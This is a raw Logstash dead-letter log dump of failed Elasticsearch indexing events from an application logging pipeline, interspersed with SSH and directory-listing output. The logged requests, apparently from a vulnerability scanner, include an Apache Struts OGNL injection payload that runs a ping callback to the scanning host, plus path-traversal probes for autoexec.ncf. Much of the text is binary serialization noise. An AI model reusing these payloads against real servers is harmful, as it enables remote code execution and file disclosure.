"domain"=>"logstash2.drfirst", "port"=>50581}, "host"=>{"ip"=>"172.16.0.180"},
"type"=>"applog2"}], response: {"index"=>{"_index"=>"logstash-applog2-2024.02.10",
"_id"=>"vkHPkY0BOuv0w9qUwyFw", "status"=>400,
"error"=>{"type"=>"mapper_parsing_exception", "
reason"=>"failed to parse", "caused_by"=>{"type"=>"illegal_argument_exception", "
reason"=>"field name cannot contain only whitespace:
['../../../../system/autoexec.ncf']"}}}}1c▒▒▒▒▒▒PC▒2024-02-
10T07:03:05.127207001Z▒qjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dtags▒xo
rg.logstash.ConvertedList▒▒torg.jruby.RubyStringoshipperelkaz62u▒▒▒lloggerRecord▒xo
rg.logstash.ConvertedMap▒nconversationId▒torg.jruby.RubyStringx$6fd86367-9be6-4f6a-
a0e4-
9be8b515acb3▒krequestInfo▒xorg.logstash.ConvertedMap▒nconversationId▒torg.jruby.Rub
yString`▒jrequestURI▒torg.jruby.RubyStringf/
error▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒dhost▒torg.jruby.RubyStringq172.16.
3.85:51001▒juser-agent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1; Trident/4.0)▒▒▒hqueryMap▒xorg.logstash.ConvertedMap▒yQredirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p773536756f6c4c473232
172.16.2.47').getInputStream())}▒torg.jruby.RubyString`▒▒▒orequestBodySizetagMap▒xo
rg.logstash.ConvertedMap▒kqueryString▒torg.jruby.RubyStringy▒redirect:$%7b
%23context%5b%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23f%3d
%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess
%27%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue
%29%2c@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime
%28%29.exec%28%27ping%20-c%203%20-
p773536756f6c4c473232%20172.16.2.47%27%29.getInputStream
%28%29%29%7d▒▒▒hclientIp▒torg.jruby.RubyStringk172.16.2.47▒iaccessUrl▒torg.jruby.Ru
byStringxhttp://172.16.3.85:51001/error▒iuserAgent▒torg.jruby.RubyStringx?Mozilla/
4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒▒▒gendTime▒torg.jruby.RubyStringx2024-02-
10T07:03:02.205Z▒llogEventList▒xorg.logstash.ConvertedList▒▒xorg.logstash.Converted
Map▒ieventName▒torg.jruby.RubyStringeerror▒phandlerClassName▒torg.jruby.RubyStringx
.com.drfirst.gear.logger.util.GearLoggerAdapter▒gendTime▒torg.jruby.RubyStringx2024
-02-
10T07:03:02.205Z▒kmessageList▒xorg.logstash.ConvertedList▒▒▒qhandlerMethodName▒torg
.jruby.RubyStringsinitialLoggerRecord▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qprocessPeriodInMsstartTime▒torg.jruby.RubyStringx2024-02-
10T07:03:02.205Z▒▒▒▒▒ncontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.jr
uby.RubyStringeerror▒▒▒lresponseInfo▒xorg.logstash.ConvertedMap▒lresponseBody▒torg.
jruby.RubyStringxn{
"timestamp" : "2024-02-10T07:03:02.204+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/"
}▒presponseBodySizenresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒▒▒qprocessPeriodInMsappInfo▒xorg.logstash.ConvertedMap▒jserverName▒torg.jruby.
RubyStringppiepaaz01u_51001▒gappName▒torg.jruby.RubyStringgpi2-
epa▒jappVersion▒torg.jruby.RubyStringh1.37.0.1▒▒▒istartTime▒torg.jruby.RubyStringx2
024-02-10T07:03:02.205Z▒▒▒j@timestamp▒vorg.logstash.Timestampx2024-02-
10T07:03:04.917640678Z▒dhttp▒xorg.logstash.ConvertedMap▒grequest▒xorg.logstash.Conv
ertedMap▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒torg.jruby.RubyStringd3346▒▒▒imime
_type▒torg.jruby.RubyStringpapplication/
json▒▒▒fmethod▒torg.jruby.RubyStringdPOST▒gversion▒torg.jruby.RubyStringhHTTP/
1.1▒▒▒h@versiona1curl▒xorg.logstash.ConvertedMap▒dpath▒torg.jruby.RubyStringa/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒dhost▒xorg.logstash.Conver
tedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒dtype▒torg.jruby.RubyStringgapplog2
▒▒▒dMETA▒xorg.logstash.ConvertedMap▒einput▒xorg.logstash.ConvertedMap▒dhttp▒xorg.lo
gstash.ConvertedMap▒grequest▒xorg.logstash.ConvertedMap▒gheaders▒xorg.logstash.Conv
ertedMap▒lrequest_path▒torg.jruby.RubyStringa/
▒ihttp_host▒torg.jruby.RubyStringwlogstash2.drfirst:50581▒nrequest_method▒torg.jrub
y.RubyStringdPOST▒qsingularityheader▒torg.jruby.RubyStringy!
appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707548581919*btid=673956*guid=19c22708-da2c-4c11-aae4-
b52fb462f10b*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*esubtype=HTT
P*cidto={[UNRESOLVED]
[202365]}*tcop=1:5063506▒ohttp_user_agent▒qorg.jruby.RubyNil▒▒lhttp_version▒torg.jr
uby.RubyStringhHTTP/
1.1▒khttp_accept▒qorg.jruby.RubyNil▒▒lcontent_type▒torg.jruby.RubyStringpapplicatio
n/
json▒ncontent_length▒torg.jruby.RubyStringd3346▒jconnection▒torg.jruby.RubyStringjK
eep-
Alive▒▒▒▒▒▒▒▒▒▒▒▒▒@e6fcb6bd7fe8a25496286ddf2322006851969951fd81f0047elasticsearchd2
Could not index event to Elasticsearch. status: 400, action: ["index",
{:_id=>nil, :_index=>"logstash-applog2-2024.02.10", :routing=>nil},
{"tags"=>["shipperelkaz62u"], "loggerRecord"=>{"conversationId"=>"6fd86367-9be6-
4f6a-a0e4-9be8b515acb3", "requestInfo"=>{"conversationId"=>"",
"requestURI"=>"/error", "httpHeaderMap"=>{"host"=>"172.16.3.85:51001", "user-
agent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"},
"queryMap"=>{"redirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p773536756f6c4c473232
172.16.2.47').getInputStream())}"=>""}, "requestBodySize"=>0,
"tagMap"=>{"queryString"=>"redirect:$%7b%23context%5b
%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23f%3d
%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess
%27%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue
%29%2c@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime
%28%29.exec%28%27ping%20-c%203%20-
p773536756f6c4c473232%20172.16.2.47%27%29.getInputStream%28%29%29%7d"},
"clientIp"=>"172.16.2.47", "accessUrl"=>"http://172.16.3.85:51001/error",
"userAgent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"},
"endTime"=>"2024-02-10T07:03:02.205Z", "logEventList"=>[{"eventName"=>"error",
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter",
"endTime"=>"2024-02-10T07:03:02.205Z", "messageList"=>[],
"handlerMethodName"=>"initialLoggerRecord", "eventStatus"=>"event-failure",
"processPeriodInMs"=>0, "startTime"=>"2024-02-10T07:03:02.205Z"}],
"controllerInfo"=>{"actionName"=>"error"}, "responseInfo"=>{"responseBody"=>"{\
n \"timestamp\" : \"2024-02-10T07:03:02.204+00:00\",\n \"status\" : 404,\
n \"error\" : \"Not Found\",\n \"path\" : \"/\"\n}", "responseBodySize"=>110,
"responseStatus"=>"999-99-9999"}, "processPeriodInMs"=>0,
"appInfo"=>{"serverName"=>"piepaaz01u_51001", "appName"=>"pi2-epa",
"appVersion"=>"1.37.0.1"}, "startTime"=>"2024-02-10T07:03:02.205Z"},
"@timestamp"=>2024-02-10T07:03:04.917640678Z,
"http"=>{"request"=>{"body"=>{"bytes"=>"3346"}, "mime_type"=>"application/json"},
"method"=>"POST", "version"=>"HTTP/1.1"}, "@version"=>"1", "url"=>{"path"=>"/",
"domain"=>"logstash2.drfirst", "port"=>50581}, "host"=>{"ip"=>"172.16.0.180"},
"type"=>"applog2"}], response: {"index"=>{"_index"=>"logstash-applog2-2024.02.10",
"_id"=>"YVjTkY0BuLv1wWMHrEGL", "status"=>400,
"error"=>{"type"=>"illegal_argument_exception", "
reason"=>"Limit of mapping depth [20] has been exceeded due to object field
[loggerRecord.requestInfo.queryMap.redirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p773536756f6c4c473232 172.16.2.47')]"}}}1cl▒▒▒▒l7
▒2024-02-
10T07:04:22.544228834Z▒qjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dtags▒xo
rg.logstash.ConvertedList▒▒torg.jruby.RubyStringoshipperelkaz62u▒▒▒lloggerRecord▒xo
rg.logstash.ConvertedMap▒nconversationId▒torg.jruby.RubyStringx$f80b472e-1a5f-40ce-
8daa-
35254aac67dc▒krequestInfo▒xorg.logstash.ConvertedMap▒nconversationId▒torg.jruby.Rub
yString`▒jrequestURI▒torg.jruby.RubyStringf/
error▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒naccept-
charset▒torg.jruby.RubyStringriso-8859-1,*,utf-
8▒faccept▒torg.jruby.RubyStringxCimage/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, image/png, */*▒juser-agent▒torg.jruby.RubyStringx?Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒dhost▒torg.jruby.RubyStringk172.16.3.85▒fpragma▒torg.jruby.RubyStringh
no-cache▒jconnection▒torg.jruby.RubyStringjKeep-Alive▒oaccept-
language▒torg.jruby.RubyStringben▒▒▒hqueryMap▒xorg.logstash.ConvertedMap▒xcsys:/
novonyx/suitespot/docs/sewse/viewcode.jse httplist
httplist/../../../../../system/autoexec.ncf▒torg.jruby.RubyString`▒▒▒orequestBodySi
zetagMap▒xorg.logstash.ConvertedMap▒kqueryString▒torg.jruby.RubyStringxcsys:/
novonyx/suitespot/docs/sewse/viewcode.jse+httplist+httplist/../../../../../system/
autoexec.ncf▒▒▒hclientIp▒torg.jruby.RubyStringk172.16.2.47▒iaccessUrl▒torg.jruby.Ru
byStringxhttp://172.16.3.85/error▒iuserAgent▒torg.jruby.RubyStringx?Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒▒▒gendTime▒torg.jruby.RubyStringx2024-02-
10T07:04:19.589Z▒llogEventList▒xorg.logstash.ConvertedList▒▒xorg.logstash.Converted
Map▒ieventName▒torg.jruby.RubyStringeerror▒phandlerClassName▒torg.jruby.RubyStringx
.com.drfirst.gear.logger.util.GearLoggerAdapter▒gendTime▒torg.jruby.RubyStringx2024
-02-
10T07:04:19.589Z▒kmessageList▒xorg.logstash.ConvertedList▒▒▒qhandlerMethodName▒torg
.jruby.RubyStringsinitialLoggerRecord▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qprocessPeriodInMsstartTime▒torg.jruby.RubyStringx2024-02-
10T07:04:19.589Z▒▒▒▒▒ncontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.jr
uby.RubyStringeerror▒▒▒lresponseInfo▒xorg.logstash.ConvertedMap▒lresponseBody▒torg.
jruby.RubyStringx|{
"timestamp" : "2024-02-10T07:04:19.588+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/lcgi/sewse.nlm"
}▒presponseBodySizenresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒▒▒qprocessPeriodInMsappInfo▒xorg.logstash.ConvertedMap▒jserverName▒torg.jruby.
RubyStringppiepaaz01u_51001▒gappName▒torg.jruby.RubyStringgpi2-
epa▒jappVersion▒torg.jruby.RubyStringh1.37.0.1▒▒▒istartTime▒torg.jruby.RubyStringx2
024-02-10T07:04:19.589Z▒▒▒j@timestamp▒vorg.logstash.Timestampx2024-02-
10T07:04:22.205375988Z▒dhttp▒xorg.logstash.ConvertedMap▒grequest▒xorg.logstash.Conv
ertedMap▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒torg.jruby.RubyStringd5852▒▒▒imime
_type▒torg.jruby.RubyStringpapplication/
json▒▒▒fmethod▒torg.jruby.RubyStringdPOST▒gversion▒torg.jruby.RubyStringhHTTP/
1.1▒▒▒h@versiona1curl▒xorg.logstash.ConvertedMap▒dpath▒torg.jruby.RubyStringa/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒dhost▒xorg.logstash.Conver
tedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒dtype▒torg.jruby.RubyStringgapplog2
▒▒▒dMETA▒xorg.logstash.ConvertedMap▒einput▒xorg.logstash.ConvertedMap▒dhttp▒xorg.lo
gstash.ConvertedMap▒grequest▒xorg.logstash.ConvertedMap▒gheaders▒xorg.logstash.Conv
ertedMap▒lrequest_path▒torg.jruby.RubyStringa/
▒ihttp_host▒torg.jruby.RubyStringwlogstash2.drfirst:50581▒nrequest_method▒torg.jrub
y.RubyStringdPOST▒qsingularityheader▒torg.jruby.RubyStringy!
appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707548659206*btid=673956*guid=d14b1bf0-88d4-4eeb-8ca9-
b12e9e40d4a5*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*esubtype=HTT
P*cidto={[UNRESOLVED]
[202365]}*tcop=1:5063506▒ohttp_user_agent▒qorg.jruby.RubyNil▒▒lhttp_version▒torg.jr
uby.RubyStringhHTTP/
1.1▒khttp_accept▒qorg.jruby.RubyNil▒▒lcontent_type▒torg.jruby.RubyStringpapplicatio
n/
json▒ncontent_length▒torg.jruby.RubyStringd5852▒jconnection▒torg.jruby.RubyStringjK
eep-
Alive▒▒▒▒▒▒▒▒▒▒▒▒▒@e6fcb6bd7fe8a25496286ddf2322006851969951fd81f0047elasticsearchd2
▒Could not index event to Elasticsearch. status: 400, action: ["index", {:_id=>nil,
:_index=>"logstash-applog2-2024.02.10", :routing=>nil},
{"tags"=>["shipperelkaz62u"], "loggerRecord"=>{"conversationId"=>"f80b472e-1a5f-
40ce-8daa-35254aac67dc", "requestInfo"=>{"conversationId"=>"",
"requestURI"=>"/error", "httpHeaderMap"=>{"accept-charset"=>"iso-8859-1,*,utf-8",
"accept"=>"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*",
"user-agent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)",
"host"=>"172.16.3.85", "pragma"=>"no-cache", "connection"=>"Keep-Alive", "accept-
language"=>"en"}, "queryMap"=>{"sys:/novonyx/suitespot/docs/sewse/viewcode.jse
httplist httplist/../../../../../system/autoexec.ncf"=>""}, "requestBodySize"=>0,
"tagMap"=>{"queryString"=>"sys:/novonyx/suitespot/docs/sewse/viewcode.jse+httplist+
httplist/../../../../../system/autoexec.ncf"}, "clientIp"=>"172.16.2.47",
"accessUrl"=>"http://172.16.3.85/error", "userAgent"=>"Mozilla/4.0 (compatible;
MSIE 8.0; Windows NT 5.1; Trident/4.0)"}, "endTime"=>"2024-02-10T07:04:19.589Z",
"logEventList"=>[{"eventName"=>"error",
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter",
"endTime"=>"2024-02-10T07:04:19.589Z", "messageList"=>[],
"handlerMethodName"=>"initialLoggerRecord", "eventStatus"=>"event-failure",
"processPeriodInMs"=>0, "startTime"=>"2024-02-10T07:04:19.589Z"}],
"controllerInfo"=>{"actionName"=>"error"}, "responseInfo"=>{"responseBody"=>"{\
n \"timestamp\" : \"2024-02-10T07:04:19.588+00:00\",\n \"status\" : 404,\
n \"error\" : \"Not Found\",\n \"path\" : \"/lcgi/sewse.nlm\"\n}",
"responseBodySize"=>124, "responseStatus"=>"999-99-9999"}, "processPeriodInMs"=>0,
"appInfo"=>{"serverName"=>"piepaaz01u_51001", "appName"=>"pi2-epa",
"appVersion"=>"1.37.0.1"}, "startTime"=>"2024-02-10T07:04:19.589Z"},
"@timestamp"=>2024-02-10T07:04:22.205375988Z,
"http"=>{"request"=>{"body"=>{"bytes"=>"5852"}, "mime_type"=>"application/json"},
"method"=>"POST", "version"=>"HTTP/1.1"}, "@version"=>"1", "url"=>{"path"=>"/",
"domain"=>"logstash2.drfirst", "port"=>50581}, "host"=>{"ip"=>"172.16.0.180"},
"type"=>"applog2"}], response: {"index"=>{"_index"=>"logstash-applog2-2024.02.10",
"_id"=>"d9bUkY0BQvnc9T2q2yMJ", "status"=>400,
"error"=>{"type"=>"mapper_parsing_exception", "
reason"=>"failed to parse", "caused_by"=>{"type"=>"illegal_argument_exception", "
reason"=>"field name cannot contain only whitespace:
['sys:/novonyx/suitespot/docs/sewse/viewcode.jse httplist
httplist/../../../../../system/autoexec.ncf']"}}}}1
X11 forwarding request failed on channel 0
shipperelkaz63u
total 4
drwxr-xr-x 2 logstash logstash 4096 Feb 8 00:58 main
total 4
-rw-r--r-- 1 logstash logstash 1 Feb 8 00:58 1.log.tmp

1
X11 forwarding request failed on channel 0
shipperelkaz64u
total 4
drwxr-xr-x 2 logstash logstash 4096 Feb 8 01:00 main
total 4
-rw-r--r-- 1 logstash logstash 1 Feb 8 01:00 1.log.tmp

1
X11 forwarding request failed on channel 0
shipperelkaz65u
total 4
drwxr-xr-x 2 logstash logstash 4096 Feb 8 01:01 main
total 4
-rw-r--r-- 1 logstash logstash 1 Feb 8 01:01 1.log.tmp

1
X11 forwarding request failed on channel 0
shipperelkaz66u
total 4
drwxr-xr-x 2 logstash logstash 4096 Feb 10 02:07 main
total 28
-rw-r--r-- 1 logstash logstash 6491 Feb 10 01:59 1.log
-rw-r--r-- 1 logstash logstash 7616 Feb 10 02:06 2.log
-rw-r--r-- 1 logstash logstash 6781 Feb 10 02:07 3.log
-rw-r--r-- 1 logstash logstash 1 Feb 10 02:07 4.log.tmp

1cM▒▒▒▒▒z▒▒2024-02-
10T06:59:23.124207943Z▒▒qjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dtags▒x
org.logstash.ConvertedList▒▒torg.jruby.RubyStringoshipperelkaz66u▒▒▒h@versiona1dtyp
e▒torg.jruby.RubyStringgapplog2▒lloggerRecord▒xorg.logstash.ConvertedMap▒istartTime
▒torg.jruby.RubyStringx2024-02-
10T06:59:22.037Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T06:59:22.037Z▒gappInfo▒xorg.logstash.ConvertedMap▒jserverName▒torg.jruby.RubyStr
ingppiepaaz02u_51001▒gappName▒torg.jruby.RubyStringgpi2-
epa▒jappVersion▒torg.jruby.RubyStringh1.37.0.1▒▒▒llogEventList▒xorg.logstash.Conver
tedList▒▒xorg.logstash.ConvertedMap▒istartTime▒torg.jruby.RubyStringx2024-02-
10T06:59:22.037Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T06:59:22.037Z▒phandlerClassName▒torg.jruby.RubyStringx.com.drfirst.gear.logger.u
til.GearLoggerAdapter▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qprocessPeriodInMshandlerMethodName▒torg.jruby.RubyStringsinitialLoggerReco
rd▒ieventName▒torg.jruby.RubyStringeerror▒kmessageList▒xorg.logstash.ConvertedList▒
▒▒▒▒▒▒qprocessPeriodInMscontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.
jruby.RubyStringeerror▒▒▒krequestInfo▒xorg.logstash.ConvertedMap▒hqueryMap▒xorg.log
stash.ConvertedMap▒x../../../../system/
autoexec.ncf▒torg.jruby.RubyString`▒▒▒iuserAgent▒torg.jruby.RubyStringx?Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒orequestBodySizeaccessUrl▒torg.jruby.RubyStringxhttp://172.16.3.86/
error▒ftagMap▒xorg.logstash.ConvertedMap▒kqueryString▒torg.jruby.RubyStringx/%2e
%2e/%2e%2e/%2e%2e/%2e%2e/system/autoexec.ncf▒▒▒jrequestURI▒torg.jruby.RubyStringf/
error▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒juser-agent▒torg.jruby.RubyStringx?
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒fpragma▒torg.jruby.RubyStringhno-
cache▒faccept▒torg.jruby.RubyStringxCimage/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, image/png, */*▒oaccept-
language▒torg.jruby.RubyStringben▒jconnection▒torg.jruby.RubyStringjKeep-
Alive▒naccept-charset▒torg.jruby.RubyStringriso-8859-1,*,utf-
8▒dhost▒torg.jruby.RubyStringk172.16.3.86▒▒▒nconversationId▒torg.jruby.RubyString`▒
hclientIp▒torg.jruby.RubyStringk172.16.2.47▒▒▒lresponseInfo▒xorg.logstash.Converted
Map▒lresponseBody▒torg.jruby.RubyStringx▒{
"timestamp" : "2024-02-10T06:59:22.037+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/examples/jsp/source.jsp"
}▒presponseBodySize
nresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒▒▒nconversationId▒torg.jruby.RubyStringx$6b30f84e-f0de-4cca-9144-
708988d2f6ab▒▒▒dhttp▒xorg.logstash.ConvertedMap▒fmethod▒torg.jruby.RubyStringdPOST▒
gversion▒torg.jruby.RubyStringhHTTP/
1.1▒grequest▒xorg.logstash.ConvertedMap▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒tor
g.jruby.RubyStringe62166▒▒▒imime_type▒torg.jruby.RubyStringpapplication/
json▒▒▒▒▒j@timestamp▒vorg.logstash.Timestampx2024-02-
10T06:59:22.998199573Z▒curl▒xorg.logstash.ConvertedMap▒dpath▒torg.jruby.RubyStringa
/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒dhost▒xorg.logstash.Conver
tedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒▒▒dMETA▒xorg.logstash.ConvertedMap▒
einput▒xorg.logstash.ConvertedMap▒dhttp▒xorg.logstash.ConvertedMap▒grequest▒xorg.lo
gstash.ConvertedMap▒gheaders▒xorg.logstash.ConvertedMap▒qsingularityheader▒torg.jru
by.RubyStringy!appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707548359993*btid=673956*guid=9d68012d-c03a-49c9-98b8-
aba4419e922c*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*esubtype=HTT
P*cidto={[UNRESOLVED]
[202365]}*tcop=1:5063506▒khttp_accept▒qorg.jruby.RubyNil▒▒lhttp_version▒torg.jruby.
RubyStringhHTTP/
1.1▒ncontent_length▒torg.jruby.RubyStringe62166▒lcontent_type▒torg.jruby.RubyString
papplication/json▒jconnection▒torg.jruby.RubyStringjKeep-
Alive▒lrequest_path▒torg.jruby.RubyStringa/▒nrequest_method▒torg.elasticsearching?
Could not index event to Elasticsearch. status: 400, action: ["index",
{:_id=>nil, :_index=>"logstash-applog2-2024.02.10", :routing=>nil},
{"tags"=>["shipperelkaz66u"], "@version"=>"1", "type"=>"applog2",
"loggerRecord"=>{"startTime"=>"2024-02-10T06:59:22.037Z", "endTime"=>"2024-02-
10T06:59:22.037Z", "appInfo"=>{"serverName"=>"piepaaz02u_51001", "appName"=>"pi2-
epa", "appVersion"=>"1.37.0.1"}, "logEventList"=>[{"startTime"=>"2024-02-
10T06:59:22.037Z", "endTime"=>"2024-02-10T06:59:22.037Z",
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter",
"eventStatus"=>"event-failure", "processPeriodInMs"=>0,
"handlerMethodName"=>"initialLoggerRecord", "eventName"=>"error",
"messageList"=>[]}], "processPeriodInMs"=>0,
"controllerInfo"=>{"actionName"=>"error"},
"requestInfo"=>{"queryMap"=>{"../../../../system/autoexec.ncf"=>""},
"userAgent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)",
"requestBodySize"=>0, "accessUrl"=>"http://172.16.3.86/error",
"tagMap"=>{"queryString"=>"%2e%2e/%2e%2e/%2e%2e/%2e%2e/system/autoexec.ncf"},
"requestURI"=>"/error", "httpHeaderMap"=>{"user-agent"=>"Mozilla/4.0 (compatible;
MSIE 8.0; Windows NT 5.1; Trident/4.0)", "pragma"=>"no-cache",
"accept"=>"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*",
"accept-language"=>"en", "connection"=>"Keep-Alive", "accept-charset"=>"iso-8859-
1,*,utf-8", "host"=>"172.16.3.86"}, "conversationId"=>"",
"clientIp"=>"172.16.2.47"}, "responseInfo"=>{"responseBody"=>"{\
n \"timestamp\" : \"2024-02-10T06:59:22.037+00:00\",\n \"status\" : 404,\
n \"error\" : \"Not Found\",\n \"path\" : \"/examples/jsp/source.jsp\"\n}",
"responseBodySize"=>133, "responseStatus"=>"999-99-9999"},
"conversationId"=>"6b30f84e-f0de-4cca-9144-708988d2f6ab"},
"http"=>{"method"=>"POST", "version"=>"HTTP/1.1",
"request"=>{"body"=>{"bytes"=>"62166"}, "mime_type"=>"application/json"}},
"@timestamp"=>2024-02-10T06:59:22.998199573Z, "url"=>{"path"=>"/",
"domain"=>"logstash2.drfirst", "port"=>50581}, "host"=>{"ip"=>"172.16.0.180"}}],
response: {"index"=>{"_index"=>"logstash-applog2-2024.02.10",
"_id"=>"H_nQkY0BUwIYl5XYSQ9c", "status"=>400,
"error"=>{"type"=>"mapper_parsing_exception", "
reason"=>"failed to parse", "caused_by"=>{"type"=>"illegal_argument_exception", "
reason"=>"field name cannot contain only whitespace:
['../../../../system/autoexec.ncf']"}}}}1c▒▒▒▒▒▒1I2024-02-
10T07:06:55.311289909Z▒qjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dtags▒xo
rg.logstash.ConvertedList▒▒torg.jruby.RubyStringoshipperelkaz66u▒▒▒h@versiona1dtype
▒torg.jruby.RubyStringgapplog2▒lloggerRecord▒xorg.logstash.ConvertedMap▒istartTime▒
torg.jruby.RubyStringx2024-02-10T07:06:52.382Z▒gendTime▒torg.jruby.RubyStringx2024-
02-
10T07:06:52.382Z▒gappInfo▒xorg.logstash.ConvertedMap▒jserverName▒torg.jruby.RubyStr
ingppiepaaz02u_51001▒gappName▒torg.jruby.RubyStringgpi2-
epa▒jappVersion▒torg.jruby.RubyStringh1.37.0.1▒▒▒llogEventList▒xorg.logstash.Conver
tedList▒▒xorg.logstash.ConvertedMap▒istartTime▒torg.jruby.RubyStringx2024-02-
10T07:06:52.382Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T07:06:52.382Z▒phandlerClassName▒torg.jruby.RubyStringx.com.drfirst.gear.logger.u
til.GearLoggerAdapter▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qprocessPeriodInMshandlerMethodName▒torg.jruby.RubyStringsinitialLoggerReco
rd▒ieventName▒torg.jruby.RubyStringeerror▒kmessageList▒xorg.logstash.ConvertedList▒
▒▒▒▒▒▒qprocessPeriodInMscontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.
jruby.RubyStringeerror▒▒▒krequestInfo▒xorg.logstash.ConvertedMap▒hqueryMap▒xorg.log
stash.ConvertedMap▒yQredirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p357a307765627968727a
172.16.2.47').getInputStream())}▒torg.jruby.RubyString`▒▒▒iuserAgent▒torg.jruby.Rub
yStringx?Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒orequestBodySizeaccessUrl▒torg.jruby.RubyStringxhttp://
172.16.3.86:51001/
error▒ftagMap▒xorg.logstash.ConvertedMap▒kqueryString▒torg.jruby.RubyStringy▒redire
ct:$%7b%23context%5b%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c
%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField
%28%27allowStaticMethodAccess%27%29%2c%23f.setAccessible%28true%29%2c%23f.set
%28%23_memberAccess%2ctrue%29%2c@org.apache.commons.io.IOUtils@toString
%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ping%20-c%203%20-
p357a307765627968727a%20172.16.2.47%27%29.getInputStream
%28%29%29%7d▒▒▒jrequestURI▒torg.jruby.RubyStringf/
